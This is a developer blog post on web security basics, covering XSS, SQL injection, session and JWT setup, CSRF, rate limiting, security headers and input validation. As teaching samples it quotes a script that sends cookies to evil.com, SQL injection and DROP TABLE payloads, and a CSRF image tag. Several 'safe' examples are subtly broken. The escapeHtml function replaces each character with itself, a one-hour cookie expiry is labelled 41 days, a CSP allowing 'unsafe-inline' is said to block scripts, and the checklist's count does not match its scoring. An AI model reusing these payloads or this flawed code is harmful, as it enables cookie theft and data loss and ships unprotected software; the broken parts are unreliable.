Web Security Basics Every Developer Must Know (2026)
You don't need to be a security expert to stop most attacks. Here's what every developer should know.
The Threat Landscape
Who's attacking your web app?
→ Script kiddies running automated scanners
→ Bots scraping your data or submitting spam
→ Attackers looking for SQL injection targets
→ Anyone trying phishing through your domain
What they want:
→ User data (emails, passwords, PII)
→ Your server as a botnet node
→ SEO spam on your pages
→ Redirects to malicious sites
Good news: 90% of attacks are automated and target KNOWN vulnerabilities.
Fix the basics → eliminate 90% of risk.
1. XSS (Cross-Site Scripting) — #1 Web Vulnerability
How It Works
<!-- Attacker posts this comment: -->
<script>
// Steal cookies/session tokens
fetch('https://evil.com/steal?cookie=' + document.cookie);
// Or redirect users
window.location = 'https://evil.com/phishing';
</script>
<!-- When OTHER users view this page, the script executes in THEIR browser! -->
Prevention
// ❌ DANGEROUS: Rendering raw user input
app.get('/search', (req, res) => {
res.send(`Results for: ${req.query.q}`); // Script injection!
});
// ✅ SAFE 1: Output encoding
const escapeHtml = (str) => str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
res.send(`Results for: ${escapeHtml(req.query.q)}`);
// ✅ SAFE 2: Use a template engine that auto-escapes
// EJS: <%= variable %> (escapes) vs <%- variable %> (raw)
// React: JSX auto-escapes by default
// Vue: {{ variable }} auto-escapes
// ✅ SAFE 3: Content Security Policy (CSP)
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'"
);
// Even if XSS slips through, CSP blocks script execution!
// For APIs returning JSON:
// Set Content-Type header correctly:
res.setHeader('Content-Type', 'application/json');
// This prevents HTML-based XSS (browser won't render JSON as HTML)
DOM-Based XSS (Client-Side)
// ❌ Dangerous: Inserting user input directly into DOM
element.innerHTML = userInput; // Script executes!
document.write(userInput); // Same problem
// ✅ Safe: Text content (no HTML parsing)
element.textContent = userInput; // Safe - treats as text
// ✅ Safe: Explicitly setting attributes
element.setAttribute('href', sanitizeUrl(userInput));
// Sanitize URLs
function sanitizeUrl(url) {
const parsed = new URL(url, 'http://localhost');
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
return '/safe-fallback';
}
return parsed.href;
}
2. SQL Injection — Still #1 for Data Breaches
How It Works
-- ❌ VULNERABLE: String concatenation
SELECT * FROM users WHERE email = '$emailInput';
-- Attacker sends: admin' OR '1'='1' --
-- Becomes:
SELECT * FROM users WHERE email = 'admin' OR '1'='1' --'
-- Returns ALL users (bypasses auth!)
-- Or worse: '; DROP TABLE users; --
Prevention
// ❌ NEVER do this
const query = `SELECT * FROM users WHERE id = ${req.params.id}`;
db.execute(query);
// ✅ ALWAYS use parameterized queries (prepared statements)
const query = 'SELECT * FROM users WHERE id = ?';
db.execute(query, [req.params.id]); // Safe! Database handles escaping
// With Sequelize/ORM:
User.findByPk(req.params.id); // Safe by default
// With better-sqlite3:
const stmt = db.prepare('SELECT * FROM users WHERE email = ?');
stmt.run(email); // Parameterized automatically
// Validation as defense-in-depth:
function isValidId(id) {
return /^[a-f0-9]{24}$/.test(id); // MongoDB ObjectId format
}
if (!isValidId(req.params.id)) return res.status(400).json({ error: 'Invalid ID' });
3. Authentication & Session Security
Password Storage
// ❌ NEVER store plaintext or simple hashes
const hash = crypto.createHash('md5').update(password).digest('hex'); // CRACKED
const hash = crypto.createHash('sha1').update(password).digest('hex'); // CRACKED
// ✅ ALWAYS use bcrypt/argon2/scrypt (purposefully slow)
import bcrypt from 'bcryptjs';
const SALT_ROUNDS = 12;
async function hashPassword(password) {
return await bcrypt.hash(password, SALT_ROUNDS);
}
async function verifyPassword(password, hash) {
return await bcrypt.compare(password, hash);
}
// bcrypt is slow BY DESIGN (~100ms per hash)
// This makes brute-force attacks prohibitively expensive
// MD5/SHA1 can do billions of hashes per second
// bcrypt does maybe 20,000 per second
Session Management
// ❌ Insecure session config
app.use(session({
secret: 'secret123', // Weak/guessable secret
cookie: { secure: false }, // Sent over HTTP too!
httpOnly: false, // Accessible to JavaScript (XSS steals it!)
}));
// ✅ Secure session config
app.use(session({
secret: crypto.randomBytes(32).toString('hex'), // Strong random secret
name: '__Host-sid', // Prefix with __Host- for same-site enforcement
cookie: {
secure: true, // Only send over HTTPS
httpOnly: true, // JavaScript cannot read (XSS protection!)
sameSite: 'lax', // CSRF protection (strict = even better)
maxAge: 3600000, // Reasonable expiry (41 days)
path: '/', // Restrict path
},
rolling: false, // Don't extend on each request (prevents fixation)
resave: false,
saveUninitialized: false, // Don't create sessions for anonymous users
}));
JWT Best Practices
// Short-lived access token + refresh token pattern
function generateTokens(user) {
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{ expiresIn: '15m' } // SHORT! 15 minutes
);
const refreshToken = jwt.sign(
{ userId: user.id, type: 'refresh' },
process.env.JWT_REFRESH_SECRET,
{ expiresIn: '7d' } // Longer-lived, stored securely
);
return { accessToken, refreshToken };
}
// Store refresh token in DB (can revoke!)
// Validate on every request
// Rotate on use (issue new one when old one is used)
4. CSRF (Cross-Site Request Forgery)
How It Works
1. User logs into yoursite.com (has active session cookie)
2. User visits evil.com (while still logged in)
3. evil.com has: <img src="yoursite.com/transfer?to=attacker&amount=1000">
4. Browser automatically sends request WITH cookies
5. Your site processes it as legitimate user action!
Prevention
// Option 1: CSRF Token (for cookie-based auth)
const csrf = require('csurf');
app.use(csrf({ cookie: true }));
// Include token in forms:
// <input type="hidden" name="_csrf" value="<%= csrfToken %>">
// And in AJAX: headers: { 'X-CSRF-Token': csrfToken }
// Option 2: SameSite cookies (easiest!)
// Already shown above: sameSite: 'lax' or 'strict'
// This prevents cross-origin requests from sending cookies
// Option 3: Don't use cookies for auth (JWT in header)
// If auth is via Authorization header (not cookie), CSRF doesn't apply
// Browser doesn't attach custom headers cross-origin
5. Rate Limiting & Brute Force Protection
// Login brute force protection
const loginAttempts = new Map(); // In production, use Redis
app.post('/api/auth/login', rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
maxAttempts: 5, // Max 5 attempts
}), async (req, res) => {
const { email, password } = req.body;
// Check account lockout
const attempts = loginAttempts.get(email) || { count: 0, lockedUntil: 0 };
if (Date.now() < attempts.lockedUntil) {
const waitMinutes = Math.ceil((attempts.lockedUntil - Date.now()) / 60000);
return res.status(429).json({
error: `Account locked. Try again in ${waitMinutes} minutes`
});
}
const user = await authenticate(email, password);
if (!user) {
attempts.count++;
if (attempts.count >= 10) {
attempts.lockedUntil = Date.now() + (30 * 60 * 1000); // Lock 30 min
// TODO: Send email alert about suspicious activity
}
loginAttempts.set(email, attempts);
// Always return same message for wrong credentials (don't reveal which is wrong)
return res.status(401).json({ error: 'Invalid email or password' });
}
// Success: reset counter
loginAttempts.delete(email);
res.json({ token: generateToken(user) });
});
// General API rate limiting
app.use('/api/', rateLimit({
windowMs: 60_000,
maxRequests: 100,
keyGenerator: (req) => req.user?.id || req.ip,
}));
6. Security Headers Checklist
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'strict-dynamic'"], // 'strict-dynamic' removes need for 'unsafe-inline'
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'"],
frameAncestors: ["'none'"],
formAction: ["'self'"],
},
},
hsts: { // Force HTTPS
maxAge: 31536000, // 1 year
includeSubDomains: true,
preload: true,
},
noSniff: true, // Prevent MIME sniffing
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
permittedCrossDomainPolicies: true, // For older Flash/Java
}));
7. Input Validation Defense in Depth
// Layer 1: Type validation (reject obviously wrong data)
function validateInput(data, schema) {
const errors = [];
for (const [field, rules] of Object.entries(schema)) {
const value = data[field];
if (rules.required && (value === undefined || value === null || value === '')) {
errors.push({ field, issue: `${field} is required` });
continue;
}
if (value === undefined && !rules.required) continue; // Optional field missing
if (rules.type === 'string') {
if (typeof value !== 'string') errors.push({ field, issue: 'Must be string' });
else if (rules.maxLength && value.length > rules.maxLength)
errors.push({ field, issue: `Max ${rules.maxLength} chars` });
else if (rules.pattern && !rules.pattern.test(value))
errors.push({ field, issue: 'Invalid format' });
}
if (rules.type === 'number') {
if (typeof value !== 'number') errors.push({ field, issue: 'Must be number' });
else if (rules.min !== undefined && value < rules.min)
errors.push({ field, issue: `Must be >= ${rules.min}` });
else if (rules.max !== undefined && value > rules.max)
errors.push({ field, issue: `Must be <= ${rules.max}` });
}
if (rules.enum && !rules.enum.includes(value))
errors.push({ field, issue: `Must be one of: ${rules.enum.join(', ')}` });
}
return errors;
}
// Layer 2: Sanitization (clean what comes through)
function sanitizeHtml(str) {
// Use a library like DOMPurify in production!
return str
.replace(/<script\b[^<]*(?:<\/script>)?>/gi, '') // Remove script tags
.replace(/on\w+\s*=/gi, '') // Remove event handlers
.replace(/javascript:/gi, ''); // Remove JS protocol
}
// Layer 3: Length limits (prevent DoS via huge inputs)
app.use(express.json({ limit: '1mb' })); // Body size limit
app.use(express.urlencoded({ extended: true, limit: '1mb' }));
// Layer 4: Allowlist for sensitive operations
const ALLOWED_REDIRECT_DOMAINS = ['myapp.com', 'www.myapp.com'];
function safeRedirect(url) {
const parsed = new URL(url, 'http://localhost');
if (ALLOWED_REDIRECT_DOMAINS.includes(parsed.hostname)) {
return url;
}
return '/';
}
8. Dependency Security
# Check for known vulnerabilities
npm audit # Show vulnerabilities
npm audit fix # Auto-fix where possible
npm audit fix --force # Force fix (may break things)
# Check outdated packages
npm outdated # Shows versions behind latest
# Lockfile security (prevents supply chain attacks)
npm pkg lock # Verifies package integrity against registry
# In CI pipeline:
# npm ci --ignore-scripts # Install without running scripts (safer)
# npm audit --audit-level=high # Fail CI on high/critical vulns
Quick Security Checklist
Before deploying ANY change:
□ All user input validated AND sanitized?
□ Database queries use parameterized/prepared statements?
□ Passwords hashed with bcrypt/argon2?
□ Auth tokens short-lived with secure secrets?
□ Sessions use httpOnly + secure + sameSite cookies?
□ CSRF protection enabled (token or SameSite)?
□ Rate limiting on all endpoints (especially auth)?
□ Security headers set (helmet.js)?
□ CSP configured (even a basic one)?
□ Dependencies audited (npm audit clean)?
□ Error messages don't leak internals in production?
□ HTTPS enforced everywhere?
□ Sensitive data encrypted at rest?
□ Admin endpoints require extra authentication?
□ File uploads validate type AND content (not just extension)?
Score yourself: Each ☑️ = ~10% reduction in attack surface.
12/12 = You're doing better than most startups.
What's the biggest security mistake you've seen (or made)?
Follow @armorbreak for more practical developer guides.
Top comments (0)